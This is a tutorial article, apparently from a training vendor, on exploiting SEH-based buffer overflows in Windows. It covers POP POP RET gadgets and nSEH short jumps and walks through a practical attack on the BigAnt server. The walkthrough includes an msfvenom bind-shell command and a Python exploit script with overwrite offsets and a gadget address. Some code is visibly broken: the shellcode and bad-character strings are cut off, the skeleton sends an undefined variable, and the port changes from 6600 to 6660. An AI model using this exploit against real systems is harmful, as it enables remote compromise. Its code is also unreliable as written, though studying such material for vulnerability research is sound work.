Windows Exploitation: SEH based overflow

Structured Exception Handling (SEH) is a Windows component that manages application error conditions (exceptions). It is a programming mechanism that helps applications handle any unexpected conditions encountered during the execution of a program. This article will discuss how to exploit SEH.

The majority of programming and scripting languages have exception-handling constructs similar to the one shown below. Try/except translates to “Attempt to execute somecode(), and if it throws an error for any reason, hide the error and proceed to the code in the except block.”

try {
} except {
    echo "failed!!!"

When Windows detects an exception, it will display the familiar message box stating that the “An error has occurred and the application will exit.”

Exception handlers can be defined programmatically using the structure shown below:

typedef struct _EXCEPTION_POINTERS {
    PEXCEPTION_RECORD ExceptionRecord;
    PCONTEXT ContextRecord;

Structured Exception Handlers are implemented as a chain, with each Exception Handler record consisting of two 4-byte addresses stored successively:

  • [Pointer to the Next SEH Document]
  • [address of the active SE Handler]

The address of the start of the SEH chain is stored in the Thread Information Block (TIB) - a Windows32 structure present in every thread - at position FS:[0x00].

In addition, Immunity debugger has the capacity to efficiently dump the SEH chain. Use View -> SEH Chain while debugging an application.

Structured Exception Handlers form a linked list that is located near the bottom of the stack.

During an exception, Windows first reads the head of the list from the TIB and then attempts to walk the subsequent handlers, searching for one that can safely terminate the application.

Just like any other data on the stack, SEH structures are susceptible to overflows. Can it be abused?

The address of the exception handler can be overflowed with a custom address, but hardcoding addresses is generally a poor practice that results in very low exploit reliability.

Prior to Windows XP SP1, a reference to the user’s payload could frequently be found in a register if a crash occurred and the exception handler structure was overwritten. This is typically the case when a typical buffer overflow is exploited and the user has the ability to overwrite the EIP with the address of a JMP REG instruction, where REG points to the user’s payload.

However, beginning with Service Pack 1, the default behavior of the exception handler has been changed to clear all registers whenever a crash occurs. This means that payload references will no longer be stored in registers during a crash. Another method of exploitation must be employed.

Nevertheless, it is possible to overflow the exception handler in such a way that it reliably executes nearby code without hardcoding a stack address.

During a SEH-based overflow, ESP + 8 maintains a pointer to nSEH (this is universal behavior of SEH). This will be demonstrated with a practical example shortly.

ESP + 8 contains the address of nSEH, so if we can decrement the stack and then execute a return, we will reliably execute the code contained in nSEH.

Let’s replace the SEH value with the address of a POP POP RET gadget (that is, any instruction with the format POP REG, POP REG, RET).

  • The first successful pop will add 4 to the ESP value.
  • The second pop will behave identically.
  • ESP now points to nSEH. Therefore, executing a RET instruction will redirect the execution flow to nSEH’s location.

We are carrying out the instructions contained in nSEH. We have four bytes followed by a SEH that has been overwritten with an address pointing to a POP/POP/RET set of instructions.

The bytes that make up the address in the SEH are rarely usable as instructions, so attempting to execute them may result in a system crash.

Nonetheless, four bytes of the nSEH will be executed. Four bytes can still accommodate a jump-like instruction.

We can use nSEH to bypass SEH and begin executing things beyond it, such as the remainder of the user buffer, which may contain arbitrary data (e.g.- shellcode).

The opcodes for a short jump in x86 Assembly are eb xx, where xx is the number of bytes. The two-byte range limits the short jump’s range, and since there is no direction argument, direction is indicated by:

  • 0x00 to 0x7f jump forward
  • 0x80 - 0xff -> jump backwards but the range is reversed
  • 0xff and 0x80 both backwards -1 byte and -128 bytes, respectively.

When we begin executing the contents of nSEH and the eb 06 instruction, which means “Jump 6 bytes forward,” is placed there, the execution flow will be moved past the SEH to the first byte that follows it.

6 bytes are equivalent to 2 bytes for eb 06 + (the jump begins at this location: [2 bytes of padding] + [4 bytes` of the current SEH])

Obviously, this is the most elementary example. It is possible that there is no space after the SEH for the shellcode. You may have to jump backwards multiple times. You should also be aware that you may jump over the SEH where you have a bit more space and then execute a larger portion of shellcode by performing a long jump backwards.

Exploit development frequently requires originality.

Practical example

Let’s attempt to exploit the BigAnt server’s buffer overflow vulnerability. We’ll install it on Windows XP Service Pack 1

You are presented with a console upon launch. It allows you to determine the IP address of your server, which should be accessible at


Additionally, you may wish to be familiar with the “Service control” option, as you may need to restart the AntServer (port 6600) multiple times throughout the exploit development process.


Launch ImmunityDbg and attach it to the process if AntServer is running:


The listening port enables you to identify the correct process from others (6600).

As the application is always in a paused state after attachment, pressing run (F9) will allow you to begin experimenting with the application.

The service appears to function improperly after being restarted. Each time you work with an application, you should restart it from the console and then attach the debugger. This may facilitate the development of exploits.

We will begin with an exploit template. It has already been determined that the vulnerable command is “USV” and that it must conclude with two CRLFs. Let’s launch the initial exploit to verify that we can cause the remote service to crash.

The exploit skeleton looks like this:

import sys
import socket

target = ""
port = 6600

buf = "A" * 2500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn = s.connect((target, port))
s.send("USV " + buff + "\r\n\r\n")

Launching it causes the below access violation.


Since we are using the exception handler, we will need to pass the exception to the program so that it can be “handled.” Before we proceed, let’s examine the SEH chain using the View -> SEH chain option in Immunity.


It appears that the SEH was duplicated. Scrolling down the stack, you should observe that Immunity has marked the location where the exception handler resides. It was replaced with our information.


Now that we are certain that the exception handler was replaced with our controlled data, let’s allow it to function by pressing Shift + F9.

The program attempted to execute 0x41414141, which corresponds to AAAA. Therefore, it has been confirmed that we can control the EIP by overwriting the Structured Exception Handler.

As the SEH value was 0x41414141, upon handling the exception (passing it to the program), the execution was moved to 0x41414141, which is an invalid address, resulting in a crash.

Before we implement real shellcode here, let’s try to detect bad characters. We will try the usual buffer of all ASCII characters:

badchars = (

After relaunching program again and again, detected bad chars are:


So, a bind-tcp shellcode was generated via following command:

msfvenom -p windows/shell_bind_tcp exitfunc=thread -b "\x00\x0a\x0d\x20\x25"

On the following, you will find the exploit code:

import sys, socket

#badchars 0x0a 0x00 0x0d 0x20 0x25
sc = ("\xb8\x32\x57\xbd\x31\x2b\xc9\xb1\x51\xda\xcf\xd9\x74\x24\xf4\x5a"

target = ""
port = 6660

buff = "A" * 962
buff += "\xeb\x06\x90\x90" #nSEH
buff += "\xb9\x44\x81\x1b"
buff += "\x90" * 4 #Shellcode placeholder
buff += sc
buff += "D" * (2500-len(buff))

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect((target, port))
s.send('USV ' + buff + '\r\n\r\n')


Looking to expand your knowledge of vulnerability research and exploitation? Check out our online course, MVRE - Certified Vulnerability Researcher and Exploitation Specialist. In this course, you’ll learn about the different aspects of software exploitation and how to put them into practice.